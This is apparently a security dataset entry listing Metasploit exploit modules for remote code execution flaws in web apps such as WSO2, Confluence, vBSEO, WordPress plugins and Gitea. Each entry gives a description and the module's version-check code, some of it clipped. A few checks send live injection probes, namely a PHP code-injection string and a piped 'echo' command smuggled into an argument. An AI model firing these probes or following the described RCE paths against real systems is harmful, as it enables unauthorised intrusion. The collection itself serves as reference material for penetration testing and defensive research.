deardaniel/secdata-raw huggingface dataset:
Metasploit Module: WSO2 API Manager Documentation File Upload Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Platform: %w[linux win
Disclosure date: 2024-05-31
References: URL-https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988, URL-https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html, URL-https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/

Description:
A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
          (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled
          server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.

Check method (fingerprinting):
vprint_status('Checking target...')

    begin
      authenticate
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown('Could not authenticate to the target')
    end
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'services', 'Version'),
      'method' => 'GET',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )

    return CheckCode::Unknown('Target did not respond as expected; it may not be running WSO2 API Manager') unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/

    xml = res.get_xml_document
    xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/)
    version = Rex::Version.new ::Regexp.last_match(1)

    return CheckCode::Unknown('Unable to determine version') unless version

    return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?(
      Rex::Version.new('3.1.0'), Rex::Version.new('4.2.9')
    )

    if target.name == 'Automatic'
      # Find the target based on the detected version
      selected_target_index = nil
      targets.each_with_index do |t, idx|
        if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version']))
          selected_target_index = idx
          break
        end
      end

      return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unles
Metasploit Module: vBSEO proc_deutf() Remote PHP Code Injection
Type: exploit
Path: modules/exploits/multi/http/vbseo_proc_deutf.rb
Platform: php
Disclosure date: 2012-01-23
Authors: EgiX <n0b0d13s[at]gmail.com>
References: CVE-2012-5223, OSVDB-78508, BID-51647, EDB-18424

Description:
This module exploits a vulnerability in the 'proc_deutf()' function
          defined in /includes/functions_vbseocp_abstract.php for vBSEO versions
          3.6.0 and earlier. User input passed through 'char_repl' POST parameter
          isn't properly sanitized before being used in a call to preg_replace()
          function which uses the 'e' modifier. This can be exploited to inject
          and execute arbitrary code leveraging the PHP's complex curly syntax.

Check method (fingerprinting):
flag = rand_text_alpha(rand(10) + 10)
    data = "char_repl='{${print(#{flag})}}'=>"

    uri = normalize_uri(datastore['URI'], 'vbseocp.php')

    response = send_request_cgi({
      'method' => "POST",
      'uri' => uri,
      'data' => data
    })

    if response.code == 200 and response.body =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)
Type: exploit
Path: modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb
Platform: java
Disclosure date: 2023-10-31
References: URL-https://jira.atlassian.com/browse/CONFSERVER-93142, CVE-2023-22518
Targets: Java

Description:
This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
          Confluence instance administrator account. Using this account, an attacker can then perform all
          administrative actions that are available to Confluence instance administrator. This module uses the
          administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
          execution on the target in the context of the of the user running the confluence server.

Check method (fingerprinting):
confluence_version = get_confluence_version
    return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version

    # Confluence Server and Confluence Data Center have the same vulnerable version ranges.
    if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
       confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||
       confluence_version == Rex::Version.new('8.6.0')
      return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
    end

    Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
  end

  # https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html
Metasploit Module: WordPress Hash Form Plugin RCE
Type: exploit
Path: modules/exploits/multi/http/wp_hash_form_rce.rb
Platform: php
Disclosure date: 2024-05-23
References: CVE-2024-5084, URL-https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
The Hash Form - Drag & Drop Form Builder plugin for WordPress suffers from a critical vulnerability
          due to missing file type validation in the file_upload_action function. This vulnerability exists
          in all versions up to and including 1.1.0. Unauthenticated attackers can exploit this flaw to upload arbitrary
          files, including PHP scripts, to the server, potentially allowing for remote code execution on the affected
          WordPress site. This module targets multiple platforms by adapting payload delivery and execution based on the
          server environment.

Check method (fingerprinting):
return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?

    plugin_check_code = check_plugin_version_from_readme('hash-form', '1.1.1')

    if plugin_check_code.code == CheckCode::Unknown.code
      return CheckCode::Unknown('Hash Form plugin does not appear to be installed.')
    end

    return CheckCode::Detected('Hash Form plugin is installed but the version is unknown.') if plugin_check_code.code == CheckCode::Detected.code

    plugin_version = plugin_check_code.details[:version]
    return CheckCode::Safe("Hash Form plugin is version: #{plugin_version}, which is not vulnerable.") unless plugin_check_code.code == CheckCode::Appears.code

    print_good("Detected Hash Form plugin version: #{plugin_version}")
    CheckCode::Appears('The target appears to be a vulnerable version')
  end
Metasploit Module: WebPageTest Arbitrary PHP File Upload
Type: exploit
Path: modules/exploits/multi/http/webpagetest_upload_exec.rb
Platform: php
Disclosure date: 2012-07-13
References: CVE-2012-10049, OSVDB-83822, EDB-19790

Description:
This module exploits a vulnerability found in WebPageTest's Upload Feature. By
          default, the resultimage.php file does not verify the user-supplied item before
          saving it to disk, and then places this item in the web directory accessible by
          remote users.  This flaw can be abused to gain remote code execution.

Check method (fingerprinting):
peer = "#{rhost}:#{rport}"
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    res1 = send_request_raw({ 'uri' => normalize_uri("#{base}/index.php") })
    res2 = send_request_raw({ 'uri' => normalize_uri("#{base}/work/resultimage.php") })

    if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
       res2 and res2.code == 200
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: GetSimpleCMS Unauthenticated RCE
Type: exploit
Path: modules/exploits/multi/http/getsimplecms_unauth_code_exec.rb
Platform: php
Disclosure date: 2019-04-28
References: CVE-2019-11231, URL-https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution

Description:
This module exploits a vulnerability found in GetSimpleCMS,
          which allows unauthenticated attackers to perform Remote Code Execution.
          An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user,
          however authentication can be bypassed by leaking the cms API key to target the session manager.

Check method (fingerprinting):
version = gscms_version
    unless version
      return CheckCode::Safe('The target is not running a vulnerable version')
    end

    vprint_status "GetSimpleCMS version #{version}"
    unless vulnerable
      return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
    end

    CheckCode::Vulnerable('Successfully verified unauthenticated code execution')
  end
Metasploit Module: Remote Code Execution Vulnerability in Vvveb
Type: exploit
Path: modules/exploits/multi/http/vvveb_auth_rce_cve_2025_8518.rb
Platform: php
Disclosure date: 2025-01-10
References: CVE-2025-8518, URL-https://hkohi.ca/vulnerability/8
Targets: PHP

Description:
Vvveb CMS is vulnerable to code injection via the Code Editor functionality.

          Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem,
          allowing remote authenticated attackers with access to the Code Editor to achieve code execution
          when those modified files are executed or served by the application or web server.

          This vulnerability affects Vvveb CMS versions up to and including 1.0.5.
          Successful exploitation may result in the remote code execution under the privileges
          of the web server, potentially exposing sensitive data or disrupting survey operations.

          An attacker can execute arbitrary system commands in the context of the user running the web server.

Check method (fingerprinting):
error_message = login(raise_on_fail: false)
    return error_message if error_message

    print_status('Checking version...')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => { 'module' => 'tools/systeminfo' }
    )
    return CheckCode::Detected('Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because a network error occurred during the request to the software version page') unless res
    return CheckCode::Detected("Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because the server returned an unknown status code #{res.code} during the request to the software version page") unless res.code == 200

    version_td = res.get_html_document.at('tr:has(th:contains("Vvveb version")) td')
    return CheckCode::Detected('Authentication process and the request to the software version page both completed successfully. It means that the server uses Vvveb CMS. However, The Vvveb version tag was not found on the software version page') if version_td.nil?

    version = Rex::Version.new(version_td&.text&.strip)
    return CheckCode::Appears("Detected version #{version}, which is vulnerable") if version <= Rex::Version.new('1.0.5')

    CheckCode::Safe("Detected version #{version}, which is not vulnerab
Metasploit Module: Adobe ColdFusion CKEditor unrestricted file upload
Type: exploit
Path: modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb
Platform: %w[linux win
Disclosure date: 2018-09-11
References: CVE-2018-15961, BID-105314, URL-https://helpx.adobe.com/fr/security/products/coldfusion/apsb18-33.html
Targets: Java Universal

Description:
A file upload vulnerability in the CKEditor of Adobe ColdFusion 11
          (Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and
          ColdFusion 2018 (July 12 release) allows unauthenticated remote
          attackers to upload and execute JSP files through the filemanager
          plugin.
          Tested on Adobe ColdFusion 2018.0.0.310739.
Metasploit Module: SonicWALL GMS 6 Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/sonicwall_gms_upload.rb
Platform: java
Disclosure date: 2012-01-17
References: CVE-2013-1359, OSVDB-89347, BID-57445, EDB-24204
Targets: SonicWALL GMS 6.0 Viewpoint / Java Universal, SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2, SonicWALL GMS 6.0 Viewpoint Virtual Appliance (Linux)

Description:
This module exploits a code execution flaw in SonicWALL GMS. It exploits two
          vulnerabilities in order to get its objective. An authentication bypass in the
          Web Administration interface allows to abuse the "appliance" application and upload
          an arbitrary payload embedded in a JSP. The module has been tested successfully on
          SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
          Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
          successfully while testing, shell payload has been used.

Check method (fingerprinting):
if install_path.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    if install_path.include?('\\')
      vprint_status('Target looks like Windows')
    else
      vprint_status('Target looks like Linux')
    end
    return Exploit::CheckCode::Vulnerable('Successfully verified auth bypass and file upload vulnerability')
  end
Metasploit Module: Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE
Type: exploit
Path: modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb
Platform: php
Disclosure date: 2019-05-09
References: CVE-2019-12799, CVE-2017-18357, URL-https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/

Description:
This module exploits a php object instantiation vulnerability that can lead to RCE in
          Shopware. An authenticated backend user could exploit the vulnerability.

          The vulnerability exists in the createInstanceFromNamedArguments function, where the code
          insufficiently performs whitelist check which can be bypassed to trigger an object injection.

          An attacker can leverage this to deserialize an arbitrary payload and write a webshell to
          the target system, resulting in remote code execution.

          Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.

Check method (fingerprinting):
cookie = do_login
    if cookie.nil?
      vprint_error "Authentication was unsuccessful"
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
    csrf_token = leak_csrf(cookie)
    if csrf_token.nil?
      vprint_error "Unable to leak the CSRF token"
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
      'cookie' => cookie,
      'headers' => { 'X-CSRF-Token' => csrf_token }
    )
    if res.code == 200 && res.body =~ /Shop not found/i
      return Exploit::CheckCode::Vulnerable('Successfully verified code execution on the target')
    end

    return Exploit::CheckCode::Safe('The target application was not detected')
  end
Metasploit Module: Malicious Git HTTP Server For CVE-2018-17456
Type: exploit
Path: modules/exploits/multi/http/git_submodule_url_exec.rb
Disclosure date: 2018-10-05
Authors: timwr
References: CVE-2018-17456, URL-https://marc.info/?l=git&m=[PII_REDACTED]6397&w=2, URL-https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6, URL-https://blog.github.com/2018-10-05-git-submodule-vulnerability
Targets: Automatic

Description:
This module exploits CVE-2018-17456, which affects Git
          versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.

          When a submodule url which starts with a dash e.g "-u./payload" is passed
          as an argument to git clone, the file "payload" inside the repository
          is executed.

          This module creates a fake git repository which contains a submodule
          containing the vulnerability. The vulnerability is triggered when the
          submodules are initialised (e.g git clone --recurse-submodules URL)
Metasploit Module: WonderCMS Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/wondercms_rce.rb
Platform: php
Disclosure date: 2023-11-07
References: URL-https://nvd.nist.gov/vuln/detail/CVE-2023-41425, URL-https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413, CVE-2023-41425, EDB-52271
Targets: PHP

Description:
This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/how-to')
    })
    return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200

    return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')

    vprint_status('Target is probably WonderCMS..')

    login

    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200

    html_document = res.get_html_document

    html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }

    version = Rex::Version.new(Regexp.last_match(1))

    return Exploit::CheckCode::Unknown('Unable to get version') unless version

    return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0'))

    return Exploit::CheckCode::Vulnerable("Version #{version} is affected")
  end
Metasploit Module: Snortreport nmap.php/nbtscan.php Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/snortreport_exec.rb
Platform: %w{linux unix}
Disclosure date: 2011-09-19
References: CVE-2011-10017, OSVDB-67739, URL-http://www.symmetrixtech.com/articles/news-016.html

Description:
This module exploits an arbitrary command execution vulnerability in
          nmap.php and nbtscan.php scripts.
Metasploit Module: Gitea Git Fetch Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/gitea_git_fetch_rce.rb
Platform: unix
Disclosure date: 2022-05-16
References: CVE-2022-30781, URL-https://tttang.com/archive/1607/
Targets: Unix Command, Linux Dropper, Windows Command, Windows Dropper

Description:
This module exploits Git fetch command in Gitea repository migration
          process that leads to a remote command execution on the system.
          This vulnerability affect Gitea before 1.16.7 version.

Check method (fingerprinting):
return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank?

    v = get_gitea_version
    gitea_login(datastore['username'], datastore['password'])

    if Rex::Version.new(v) <= Rex::Version.new('1.16.6')
      return CheckCode::Appears("Version detected: #{v}")
    end

    CheckCode::Safe("Version detected: #{v}")
  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e
    return CheckCode::Unknown(e.message)
  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e
    return CheckCode::Detected(e.message)
  rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError,
         Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e
    return CheckCode::Safe(e.message)
  end
Metasploit Module: Family Connections less.php Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/familycms_less_exec.rb
Platform: %w{linux unix}
Disclosure date: 2011-11-29
References: CVE-2011-5130, OSVDB-77492, URL-https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/, URL-http://sourceforge.net/apps/trac/fam-connections/ticket/407, URL-http://rwx.biz.nf/advisories/fc_cms_rce_adv.html, EDB-18198

Description:
This module exploits an arbitrary command execution vulnerability in
          Family Connections 2.7.1. It's in the dev/less.php script and is due
          to an insecure use of system().  Authentication isn't required to exploit
          the vulnerability but register_globals must be set to On.

Check method (fingerprinting):
uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

    mark = Rex::Text.rand_text_alpha(rand(5) + 5)

    res = send_request_cgi({
      'uri' => uri,
      'vars_get' => { 'argv[1]' => "|echo #{mark};#" }
    }, 25)

    if res and res.code == 200 and res.body =~ /#{mark}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/wp_plugin_modern_events_calendar_rce.rb
Disclosure date: 2021-01-29
References: EDB-50115, CVE-2021-24145

Description:
This module allows an attacker with a privileged Wordpress account to launch a reverse shell
          due to an arbitrary file upload vulnerability in Wordpress plugin Modern Events Calendar < 5.16.5.
          This is due to an incorrect check of the uploaded file extension.
          Indeed, by using `text/csv` content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin.
          Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/<random_payload_name>.php`

Check method (fingerprinting):
unless wordpress_and_online?
      return CheckCode::Safe('Server not online or not detected as Wordpress')
    end

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    if cookie
      check_plugin_version_from_readme('modern-events-calendar-lite', '5.16.5')
    else
      CheckCode::Detected('The admin credentials given are wrong !')
    end
  end